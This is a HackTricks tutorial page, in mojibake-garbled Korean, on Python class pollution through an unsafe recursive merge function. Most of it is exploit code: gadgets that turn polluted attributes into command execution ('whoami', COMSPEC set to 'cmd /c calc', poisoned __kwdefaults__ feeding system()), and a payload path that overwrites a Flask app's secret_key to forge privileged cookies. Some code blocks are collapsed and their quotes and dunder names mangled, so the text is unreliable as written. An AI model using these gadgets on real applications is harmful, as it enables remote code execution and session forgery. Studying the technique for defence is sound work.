Class Pollution (Pythonโ€™s Prototype Pollution)

Tip

AWS ํ•ดํ‚น ๋ฐฐ์šฐ๊ธฐ ๋ฐ ์—ฐ์Šตํ•˜๊ธฐ:HackTricks Training AWS Red Team Expert (ARTE)
GCP ํ•ดํ‚น ๋ฐฐ์šฐ๊ธฐ ๋ฐ ์—ฐ์Šตํ•˜๊ธฐ: HackTricks Training GCP Red Team Expert (GRTE) Azure ํ•ดํ‚น ๋ฐฐ์šฐ๊ธฐ ๋ฐ ์—ฐ์Šตํ•˜๊ธฐ: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks ์ง€์›ํ•˜๊ธฐ

Basic Example

๋ฌธ์ž์—ด๋กœ ๊ฐ์ฒด์˜ ํด๋ž˜์Šค๋ฅผ ์˜ค์—ผ์‹œํ‚ฌ ์ˆ˜ ์žˆ๋Š” ๋ฐฉ๋ฒ•์„ ํ™•์ธํ•˜์„ธ์š”:

class Company: pass
class Developer(Company): pass
class Entity(Developer): pass

c = Company()
d = Developer()
e = Entity()

print(c) #<__main__.Company object at 0x1043a72b0>
print(d) #<__main__.Developer object at 0x1041d2b80>
print(e) #<__main__.Entity object at 0x1041d2730>

e.__class__.__qualname__ = 'Polluted_Entity'

print(e) #<__main__.Polluted_Entity object at 0x1041d2730>

e.__class__.__base__.__qualname__ = 'Polluted_Developer'
e.__class__.__base__.__base__.__qualname__ = 'Polluted_Company'

print(d) #<__main__.Polluted_Developer object at 0x1041d2b80>
print(c) #<__main__.Polluted_Company object at 0x1043a72b0>

๊ธฐ๋ณธ ์ทจ์•ฝ์  ์˜ˆ์‹œ

# Initial state
class Employee: pass
emp = Employee()
print(vars(emp)) #{}

# Vulenrable function
def merge(src, dst):
# Recursive merge function
for k, v in src.items():
if hasattr(dst, '__getitem__'):
if dst.get(k) and type(v) == dict:
merge(v, dst.get(k))
else:
dst[k] = v
elif hasattr(dst, k) and type(v) == dict:
merge(v, getattr(dst, k))
else:
setattr(dst, k, v)


USER_INPUT = {
"name":"Ahemd",
"age": 23,
"manager":{
"name":"Sarah"
}
}

merge(USER_INPUT, emp)
print(vars(emp)) #{'name': 'Ahemd', 'age': 23, 'manager': {'name': 'Sarah'}}

Gadget Examples

ํด๋ž˜์Šค ์†์„ฑ ๊ธฐ๋ณธ๊ฐ’์„ RCE๋กœ ๋งŒ๋“ค๊ธฐ (subprocess) ```python from os import popen class Employee: pass # Creating an empty class class HR(Employee): pass # Class inherits from Employee class class Recruiter(HR): pass # Class inherits from HR class

class SystemAdmin(Employee): # Class inherits from Employee class def execute_command(self): command = self.custom_command if hasattr(self, โ€˜custom_commandโ€™) else โ€˜echo Hello thereโ€™ return fโ€™[!] Executing: โ€œ{command}โ€, output: โ€œ{popen(command).read().strip()}โ€โ€™

def merge(src, dst):

Recursive merge function

for k, v in src.items(): if hasattr(dst, โ€˜getitemโ€™): if dst.get(k) and type(v) == dict: merge(v, dst.get(k)) else: dst[k] = v elif hasattr(dst, k) and type(v) == dict: merge(v, getattr(dst, k)) else: setattr(dst, k, v)

USER_INPUT = { โ€œclassโ€:{ โ€œbaseโ€:{ โ€œbaseโ€:{ โ€œcustom_commandโ€: โ€œwhoamiโ€ } } } }

recruiter_emp = Recruiter() system_admin_emp = SystemAdmin()

print(system_admin_emp.execute_command()) #> [!] Executing: โ€œecho Hello thereโ€, output: โ€œHello thereโ€

Create default value for Employee.custom_command

merge(USER_INPUT, recruiter_emp)

print(system_admin_emp.execute_command()) #> [!] Executing: โ€œwhoamiโ€, output: โ€œabdulrah33mโ€

</details>

<details>

<summary><code>globals</code>๋ฅผ ํ†ตํ•ด ๋‹ค๋ฅธ ํด๋ž˜์Šค์™€ ์ „์—ญ ๋ณ€์ˆ˜๋ฅผ ์˜ค์—ผ์‹œํ‚ค๊ธฐ</summary>
```python
def merge(src, dst):
# Recursive merge function
for k, v in src.items():
if hasattr(dst, '__getitem__'):
if dst.get(k) and type(v) == dict:
merge(v, dst.get(k))
else:
dst[k] = v
elif hasattr(dst, k) and type(v) == dict:
merge(v, getattr(dst, k))
else:
setattr(dst, k, v)

class User:
def __init__(self):
pass

class NotAccessibleClass: pass

not_accessible_variable = 'Hello'

merge({'__class__':{'__init__':{'__globals__':{'not_accessible_variable':'Polluted variable','NotAccessibleClass':{'__qualname__':'PollutedClass'}}}}}, User())

print(not_accessible_variable) #> Polluted variable
print(NotAccessibleClass) #> <class '__main__.PollutedClass'>
์ž„์˜ ์„œ๋ธŒํ”„๋กœ์„ธ์Šค ์‹คํ–‰ ```python import subprocess, json

class Employee: def init(self): pass

def merge(src, dst):

Recursive merge function

for k, v in src.items(): if hasattr(dst, โ€˜getitemโ€™): if dst.get(k) and type(v) == dict: merge(v, dst.get(k)) else: dst[k] = v elif hasattr(dst, k) and type(v) == dict: merge(v, getattr(dst, k)) else: setattr(dst, k, v)

Overwrite env var โ€œCOMSPECโ€ to execute a calc

USER_INPUT = json.loads(โ€˜{โ€œinitโ€:{โ€œglobalsโ€:{โ€œsubprocessโ€:{โ€œosโ€:{โ€œenvironโ€:{โ€œCOMSPECโ€:โ€œcmd /c calcโ€}}}}}}โ€™) # attacker-controlled value

merge(USER_INPUT, Employee())

subprocess.Popen(โ€˜whoamiโ€™, shell=True) # Calc.exe will pop up

</details>

<details>

<summary>Overwritting <strong><code>__kwdefaults__</code></strong></summary>

**`__kwdefaults__`**๋Š” ๋ชจ๋“  ํ•จ์ˆ˜์˜ ํŠน๋ณ„ํ•œ ์†์„ฑ์œผ๋กœ, Python [documentation](https://docs.python.org/3/library/inspect.html)์— ๋”ฐ๋ฅด๋ฉด, โ€œ**ํ‚ค์›Œ๋“œ ์ „์šฉ** ๋งค๊ฐœ๋ณ€์ˆ˜์— ๋Œ€ํ•œ ๊ธฐ๋ณธ๊ฐ’์˜ ๋งคํ•‘โ€์ž…๋‹ˆ๋‹ค. ์ด ์†์„ฑ์„ ์˜ค์—ผ์‹œํ‚ค๋ฉด ํ•จ์ˆ˜์˜ ํ‚ค์›Œ๋“œ ์ „์šฉ ๋งค๊ฐœ๋ณ€์ˆ˜์˜ ๊ธฐ๋ณธ๊ฐ’์„ ์ œ์–ดํ•  ์ˆ˜ ์žˆ์œผ๋ฉฐ, ์ด๋Š” \* ๋˜๋Š” \*args ๋’ค์— ์˜ค๋Š” ํ•จ์ˆ˜์˜ ๋งค๊ฐœ๋ณ€์ˆ˜์ž…๋‹ˆ๋‹ค.
```python
from os import system
import json

def merge(src, dst):
# Recursive merge function
for k, v in src.items():
if hasattr(dst, '__getitem__'):
if dst.get(k) and type(v) == dict:
merge(v, dst.get(k))
else:
dst[k] = v
elif hasattr(dst, k) and type(v) == dict:
merge(v, getattr(dst, k))
else:
setattr(dst, k, v)

class Employee:
def __init__(self):
pass

def execute(*, command='whoami'):
print(f'Executing {command}')
system(command)

print(execute.__kwdefaults__) #> {'command': 'whoami'}
execute() #> Executing whoami
#> user

emp_info = json.loads('{"__class__":{"__init__":{"__globals__":{"execute":{"__kwdefaults__":{"command":"echo Polluted"}}}}}}') # attacker-controlled value
merge(emp_info, Employee())

print(execute.__kwdefaults__) #> {'command': 'echo Polluted'}
execute() #> Executing echo Polluted
#> Polluted
ํŒŒ์ผ ๊ฐ„ Flask ๋น„๋ฐ€ ๋ฎ์–ด์“ฐ๊ธฐ

๋”ฐ๋ผ์„œ, ์›น์˜ ์ฃผ์š” ํŒŒ์ด์ฌ ํŒŒ์ผ์— ์ •์˜๋œ ๊ฐ์ฒด์— ๋Œ€ํ•ด ํด๋ž˜์Šค ์˜ค์—ผ์„ ์ˆ˜ํ–‰ํ•  ์ˆ˜ ์žˆ์ง€๋งŒ ์ฃผ์š” ํŒŒ์ผ๊ณผ๋Š” ๋‹ค๋ฅธ ํŒŒ์ผ์— ์ •์˜๋œ ํด๋ž˜์Šค์ธ ๊ฒฝ์šฐ์ž…๋‹ˆ๋‹ค. ์ด์ „ ํŽ˜์ด๋กœ๋“œ์—์„œ __globals__์— ์ ‘๊ทผํ•˜๋ ค๋ฉด ๊ฐ์ฒด์˜ ํด๋ž˜์Šค๋‚˜ ํด๋ž˜์Šค์˜ ๋ฉ”์„œ๋“œ์— ์ ‘๊ทผํ•ด์•ผ ํ•˜๋ฏ€๋กœ, ์ฃผ์š” ํŒŒ์ผ์ด ์•„๋‹Œ ํ•ด๋‹น ํŒŒ์ผ์˜ globals์— ์ ‘๊ทผํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.
๋”ฐ๋ผ์„œ, ์ฃผ์š” ํŽ˜์ด์ง€์— ์ •์˜๋œ ๋น„๋ฐ€ ํ‚ค๋ฅผ ๊ฐ€์ง„ Flask ์•ฑ์˜ ์ „์—ญ ๊ฐ์ฒด์— ์ ‘๊ทผํ•  ์ˆ˜ ์—†์Šต๋‹ˆ๋‹ค:

app = Flask(__name__, template_folder='templates')
app.secret_key = '(:secret:)'

์ด ์‹œ๋‚˜๋ฆฌ์˜ค์—์„œ๋Š” ํŒŒ์ผ์„ ํƒ์ƒ‰ํ•˜์—ฌ ์ „์—ญ ๊ฐ์ฒด app.secret_key์— ์ ‘๊ทผํ•˜์—ฌ Flask ๋น„๋ฐ€ ํ‚ค๋ฅผ ๋ณ€๊ฒฝํ•˜๊ณ  ์ด ํ‚ค๋ฅผ ์•Œ๊ณ  ๊ถŒํ•œ ์ƒ์Šน์„ ํ•  ์ˆ˜ ์žˆ๋Š” ์žฅ์น˜๊ฐ€ ํ•„์š”ํ•ฉ๋‹ˆ๋‹ค.

์ด์™€ ๊ฐ™์€ ํŽ˜์ด๋กœ๋“œ๋Š” ์ด ์ž‘์„ฑ๋ฌผ์—์„œ:

__init__.__globals__.__loader__.__init__.__globals__.sys.modules.__main__.app.secret_key

์ด ํŽ˜์ด๋กœ๋“œ๋ฅผ ์‚ฌ์šฉํ•˜์—ฌ app.secret_key (๊ท€ํ•˜์˜ ์•ฑ์—์„œ ์ด๋ฆ„์ด ๋‹ค๋ฅผ ์ˆ˜ ์žˆ์Œ)๋ฅผ ๋ณ€๊ฒฝํ•˜์—ฌ ์ƒˆ๋กœ์šด ๋” ๋งŽ์€ ๊ถŒํ•œ์˜ ํ”Œ๋ผ์Šคํฌ ์ฟ ํ‚ค์— ์„œ๋ช…ํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.

๋‹ค์Œ ํŽ˜์ด์ง€์—์„œ ์ฝ๊ธฐ ์ „์šฉ ๊ฐ€์ ฏ๋„ ํ™•์ธํ•˜์„ธ์š”:

Python Internal Read Gadgets

References

Tip

AWS ํ•ดํ‚น ๋ฐฐ์šฐ๊ธฐ ๋ฐ ์—ฐ์Šตํ•˜๊ธฐ:HackTricks Training AWS Red Team Expert (ARTE)
GCP ํ•ดํ‚น ๋ฐฐ์šฐ๊ธฐ ๋ฐ ์—ฐ์Šตํ•˜๊ธฐ: HackTricks Training GCP Red Team Expert (GRTE) Azure ํ•ดํ‚น ๋ฐฐ์šฐ๊ธฐ ๋ฐ ์—ฐ์Šตํ•˜๊ธฐ: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks ์ง€์›ํ•˜๊ธฐ